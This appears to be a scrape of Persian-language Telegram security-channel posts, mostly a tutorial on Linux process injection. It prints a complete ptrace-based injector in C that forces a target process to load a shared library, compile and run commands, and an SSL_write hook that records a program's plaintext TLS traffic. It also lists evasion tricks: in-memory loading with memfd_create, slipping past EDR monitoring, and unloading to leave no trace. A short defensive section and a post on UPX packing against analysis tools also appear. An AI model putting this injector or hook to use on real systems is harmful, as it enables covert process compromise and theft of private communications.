تکنیک ارائه شده یک مثال عالی از این است که چگونه می‌توان با ترکیبی هوشمندانه از چند روش ساده، یک لایه حفاظتی مؤثر ایجاد کرد که ابزارهای خودکار را فریب داده و هزینه و زمان تحلیل دستی را به شدت افزایش می‌دهد. این تکنیک سه لایه کلیدی را با هم ترکیب می‌کند:

1. مبهم‌سازی (Obfuscation): با استفاده از پکر UPX برای پنهان کردن کد اصلی.

2. ضد-شناسایی (Anti-Fingerprinting): با تغییر امضای پکر برای فریب ابزارهای تحلیل.

3. ضد-تغییر (Anti-Tampering): با مکانیزم خود-بررسی برای اطمینان از دست نخورده باقی ماندن حفاظت.

این رویکرد نشان می‌دهد که در دنیای امنیت نرم‌افزار، خلاقیت در ترکیب تکنیک‌های موجود می‌تواند به اندازه استفاده از ابزارهای پیچیده، مؤثر باشد و درک آن هم برای توسعه‌دهندگان نرم‌افزار (برای حفاظت) و هم برای متخصصان امنیت (برای تحلیل) ضروری است.

@NullError_ir
2
#nazdika

شبکه اجتماعی ایرانی نزدیکا رو چند سال قبل اسمش رو شنیدم و دیگه خبری ازش نشد تا اینکه الان گفتن هک شده . متاسفانه نمونه دیتایی که گذاشتن عکس و فیلم و چت خصوصی مردم پخش شده ...

@NullError_ir
💔1
#آموزشی
( از تئوری تا کد: ساخت Injector سفارشی ) مطلب سنگین 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
#linux_Process_Injection

راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace


مقدمه: فلسفه تزریق فرآیند در لینوکس

تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر یک فرآیند معتبر (trusted process) و هم توسط متخصصان امنیت برای تحلیل بدافزار، دیباگ کردن یا ابزار دقیق (instrumentation) استفاده می‌شود. در سیستم‌عامل‌های مبتنی بر لینوکس، یکی از قدرتمندترین و پرکاربردترین روش‌ها برای دستیابی به این هدف، بهره‌گیری از متغیر محیطی LD_PRELOAD است.

سیستم‌عامل‌های لینوکس از یک مکانیزم به نام "Dynamic Linker/Loader" (که معمولاً ld.so یا ld-linux.so است) برای بارگذاری کتابخانه‌های اشتراکی (Shared Libraries - فایل‌های با پسوند .so ) مورد نیاز یک برنامه در زمان اجرا استفاده می‌کنند. متغیر محیطی LD_PRELOAD به این Dynamic Linker دستور می‌دهد که قبل از هر کتابخانه دیگری (حتی کتابخانه‌های استاندارد مانند libc )، کتابخانه‌های مشخص شده در این متغیر را بارگذاری کند. این مکانیزم به ما اجازه می‌دهد تا توابع کتابخانه‌های استاندارد را Hook کرده و رفتار یک برنامه را بدون تغییر در کد اجرایی اصلی آن، دستکاری کنیم.

ابزار کلیدی: Injector سفارشی مبتنی بر ptrace

در گذشته از اسکریپت‌های واسط مانند ld-preloader که از GDB برای اتصال به فرآیند هدف استفاده می‌کردند، بهره گرفته می‌شد. اما این روش‌ها به دلیل ایجاد ردپای بزرگ و پرسروصدا در سیستم‌های مانیتورینگ مدرن (EDR)، منسوخ شده‌اند.

یک مهاجم یا محقق امروزی از یک Injector سفارشی استفاده می‌کند. این ابزار، یک برنامه کوچک و بهینه به زبان C است که مستقیماً از فراخوانی سیستمی (syscall) ptrace برای کنترل یک فرآیند دیگر و تزریق کد به آن بهره می‌برد. این روش ردپای بسیار کمتری دارد، نیازی به ابزارهای جانبی ندارد و شناسایی آن به مراتب دشوارتر است.

مراحل اجرای تکنیک

مرحله ۱: آماده‌سازی محیط و کامپایل کد تزریقی (Payload)

ابتدا نیاز به یک کد داریم که در قالب یک کتابخانه اشتراکی (.so ) کامپایل شود. این کد پس از تزریق، در فرآیند هدف اجرا خواهد شد. برای نمونه، یک کتابخانه ساده می‌نویسیم که پس از تزریق، یک پیام را در یک فایل لاگ ثبت می‌کند.

کد payload.c :

#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void entry_point() {
FILE *log_file = fopen("/tmp/injection_log.txt", "a");
if (log_file == NULL) {
return;
}

fprintf(log_file, "Library injected successfully into process with PID: %d\n", getpid());
fclose(log_file);
}



نکات فنی پیشرفته در این کد:

__attribute__((constructor)) : این یک ویژگی کامپایلر GCC/Clang است. هر تابعی که با این attribute مشخص شود، به صورت خودکار توسط Dynamic Linker بلافاصله پس از بارگذاری کتابخانه در حافظه و قبل از اجرای تابع main() برنامه میزبان، اجرا می‌شود. این نقطه ورود (Entry Point) کد تزریقی ماست.

کامپایل کد:

برای کامپایل این کد به یک کتابخانه اشتراکی، از دستور زیر استفاده می‌کنیم:

gcc -shared -fPIC payload.c -o payload.so


-shared : به کامپایلر می‌گوید که خروجی باید یک کتابخانه اشتراکی باشد.

-fPIC : مخفف Position-Independent Code است. این فلگ برای ساخت کتابخانه‌های اشتراکی ضروری است، زیرا این کتابخانه‌ها باید قابلیت بارگذاری در هر آدرس دلخواهی از حافظه را داشته باشند.

مرحله ۲: ابزار تزریق و اجرای عملیات (injector.c ) > نقطه شروع سفارشی برای شما ❤️

این برنامه C قلب عملیات تزریق مدرن است. این ابزار PID هدف و مسیر payload.so را گرفته و با ptrace آن را تزریق می‌کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#linux_Process_Injection راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace مقدمه: فلسفه تزریق فرآیند در لینوکس تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر…
کد injector.c :


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <elf.h>
#include <link.h>

void* find_remote_function_address(pid_t target_pid, const char* lib_name, const char* func_name) {
void* local_handle = dlopen(lib_name, RTLD_LAZY);
if (!local_handle) return NULL;
void* local_addr = dlsym(local_handle, func_name);
if (!local_addr) { dlclose(local_handle); return NULL; }
Dl_info info;
if (!dladdr(local_addr, &info)) { dlclose(local_handle); return NULL; }
dlclose(local_handle);
long offset = (long)local_addr - (long)info.dli_fbase;
char maps_path[256];
sprintf(maps_path, "/proc/%d/maps", target_pid);
FILE* maps_file = fopen(maps_path, "r");
if (!maps_file) return NULL;
char line[512];
void* remote_base_addr = NULL;
while (fgets(line, sizeof(line), maps_file)) {
if (strstr(line, lib_name) && strstr(line, "r-xp")) {
sscanf(line, "%p-%*p", &remote_base_addr);
break;
}
}
fclose(maps_file);
if (!remote_base_addr) return NULL;
return (void*)((long)remote_base_addr + offset);
}

int write_to_process_memory(pid_t pid, void* addr, const char* data, size_t len) {
for (size_t i = 0; i < len; i += sizeof(long)) {
long word = 0;
memcpy(&word, data + i, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, (char*)addr + i, word) == -1) {
perror("PTRACE_POKETEXT");
return -1;
}
}
return 0;
}

int main(int argc, char* argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <path_to_so>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
char* so_path = argv[2];
printf("-> Targeting PID: %d\n", target_pid);
printf("-> Attaching to process...\n");
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("PTRACE_ATTACH"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Finding address of dlopen...\n");
void* remote_dlopen_addr = find_remote_function_address(target_pid, "libc.so.6", "__libc_dlopen_mode");
if (!remote_dlopen_addr) {
fprintf(stderr, "Error: Could not find address of dlopen.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 1;
}
printf("-> Remote dlopen address: %p\n", remote_dlopen_addr);
struct user_regs_struct old_regs, regs;
if (ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_GETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));
void* remote_stack_addr = (void*)(regs.rsp - strlen(so_path) - 1);
printf("-> Writing payload path to remote stack at %p\n", remote_stack_addr);
write_to_process_memory(target_pid, remote_stack_addr, so_path, strlen(so_path) + 1);
regs.rdi = (unsigned long long)remote_stack_addr;
regs.rsi = RTLD_LAZY;
regs.rip = (unsigned long long)remote_dlopen_addr;
printf("-> Executing remote call to dlopen...\n");
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) == -1) { perror("PTRACE_SETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) == -1) { perror("PTRACE_CONT"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Remote call finished. Restoring state...\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
if (regs.rax == 0) { fprintf(stderr, "Error: Remote dlopen call failed.\n"); }
else { printf("-> Injection successful! Handle: %llx\n", regs.rax); }
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_SETREGS (restore)"); }
printf("-> Detaching from process.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}
🔥1
Mr. SAM
کد injector.c : #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/user.h> #include <dlfcn.h> #include <elf.h> #include <link.h> void* find_remo…
نحوه کامپایل و اجرا:

1. کامپایل Injector:

gcc injector.c -o injector -ldl

2. پیدا کردن فرآیند هدف:

sleep 1000 &

# [1] 12345 <-- این PID فرآیند هدف شماست


3. اجرای تزریق:

sudo ./injector 12345 $(pwd)/payload.so

4. تأیید موفقیت:

cat /tmp/injection_log.txt

# خروجی: Library injected successfully into process with PID: 12345


پیشرفته‌تر

یک مهاجم حرفه‌ای صرفاً به اجرای یک کد ساده بسنده نمی‌کند.

۱. پایداری و مخفی‌سازی (Persistence & Stealth)

* حذف ردپا از دیسک: به جای قرار دادن فایل .so روی دیسک، می‌توان از تکنیک memfd_create استفاده کرد. در این روش، یک فایل ناشناس در حافظه RAM ایجاد می‌شود، بایت‌های کتابخانه مخرب در آن نوشته شده و سپس از طریق مسیر /proc/self/fd/<fd> به dlopen داده می‌شود. این کار تحلیل forensics را دشوارتر می‌کند.

* دور زدن مکانیزم‌های تشخیص: بسیاری از ابزارهای امنیتی و EDR ها، استفاده مشکوک از ptrace را مانیتور می‌کنند. برای دور زدن این مکانیزم‌ها، مهاجمان ممکن است از تکنیک‌های پیچیده‌تری برای اجرای کد بدون ptrace یا پچ کردن مستقیم Dynamic Linker استفاده کنند.

* پاکسازی (Unhooking): پس از انجام عملیات مخرب، کتابخانه تزریق شده می‌تواند خود را از حافظه فرآیند با استفاده از dlclose تخلیه کند تا هیچ ردپایی از خود به جای نگذارد.

۲. هوک کردن توابع (Function Hooking)

قدرت واقعی این تکنیک در هوک کردن توابع است. فرض کنید می‌خواهیم تمام داده‌هایی که یک برنامه از طریق توابع SSL/TLS ارسال می‌کند را شنود کنیم.

مثال Hooking SSL_write:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <openssl/ssl.h>

static int (*original_SSL_write)(SSL *ssl, const void *buf, int num);

int SSL_write(SSL *ssl, const void *buf, int num) {

if (!original_SSL_write) {
original_SSL_write = dlsym(RTLD_NEXT, "SSL_write");
}

FILE *log = fopen("/tmp/ssl_log.txt", "a");
if (log) {
fwrite(buf, 1, num, log);
fclose(log);
}

return original_SSL_write(ssl, buf, num);
}


وقتی این کتابخانه تزریق شود، هر بار که برنامه هدف تلاش کند داده‌ای را با SSL_write ارسال کند، ابتدا کد مخرب ما اجرا شده، داده‌ها را در یک فایل لاگ ذخیره می‌کند و سپس تابع اصلی را برای حفظ عملکرد عادی برنامه فراخوانی می‌کند.

dlsym(RTLD_NEXT, "SSL_write") : این یک فراخوانی کلیدی است. RTLD_NEXT یک هندل ویژه است که به dlsym می‌گوید: "به دنبال اولین رخداد (occurrence) از SSL_write *بعد از* کتابخانه فعلی من بگرد". این تضمین می‌کند که ما آدرس تابع اصلی را پیدا می‌کنیم و در یک حلقه بازگشتی بی‌نهایت گرفتار نمی‌شویم.


راهکارهای شناسایی و مقابله

1. مانیتورینگ ptrace syscall : ابزارهای مدرن تزریق از syscall به نام ptrace استفاده می‌کنند. سیستم‌های امنیتی می‌توانند فراخوانی‌های مشکوک ptrace را شناسایی کنند، به خصوص اگر توسط یک فرآیند ناشناس به یک فرآیند حساس (مانند مرورگر یا سرور SSH) انجام شود.

2. بررسی /proc/<PID>/maps : این فایل مجازی، نقشه حافظه یک فرآیند را نشان می‌دهد. مدیران سیستم و ابزارهای امنیتی می‌توانند این فایل را به صورت دوره‌ای اسکن کنند تا بارگذاری کتابخانه‌های غیرمنتظره یا ناشناس را در فرآیندهای حساس شناسایی کنند.

3. استفاده از Secure Boot و IMA (Integrity Measurement Architecture) : این مکانیزم‌های امنیتی در سطح کرنل می‌توانند یکپارچگی فایل‌های اجرایی و کتابخانه‌ها را قبل از بارگذاری تأیید کنند

4. محدود کردن با Seccomp-bpf , SELinux یا AppArmor : می‌توان سیاست‌هایی را اعمال کرد که به فرآیندها اجازه ندهد syscall های خطرناکی مانند ptrace را اجرا کنند یا متغیرهای محیطی مانند LD_PRELOAD را مقداردهی کنند.

5. تحلیل استاتیک و دینامیک: بررسی باینری‌های ناشناس برای یافتن رشته‌هایی مانند ptrace, dlopen و... می‌تواند به شناسایی ابزارهای تزریق کمک کند.

خلاصه مطلب

تکنیک استفاده از LD_PRELOAD یک روش قدرتمند و کلاسیک برای دستکاری فرآیندها در لینوکس است. با این حال، اجرای مدرن و مخفیانه این تکنیک، نیازمند کنار گذاشتن اسکریپت‌های قدیمی و استفاده از ابزارهای سفارشی مبتنی بر ptrace است. درک عمیق مکانیزم‌های زیربنایی مانند Dynamic Linker ، ptrace و هوک کردن توابع، این تکنیک را به یک ابزار بسیار خطرناک در دستان یک مهاجم تبدیل می‌کند. برای متخصصان امنیت، شناخت دقیق این روش‌ها و نقاط ضعف آن‌ها، کلید طراحی سیستم‌های دفاعی مؤثر و شناسایی حملات پیچیده در محیط‌های لینوکسی است.

@NullError_ir
🦠 😂
Please open Telegram to view this post
VIEW IN TELEGRAM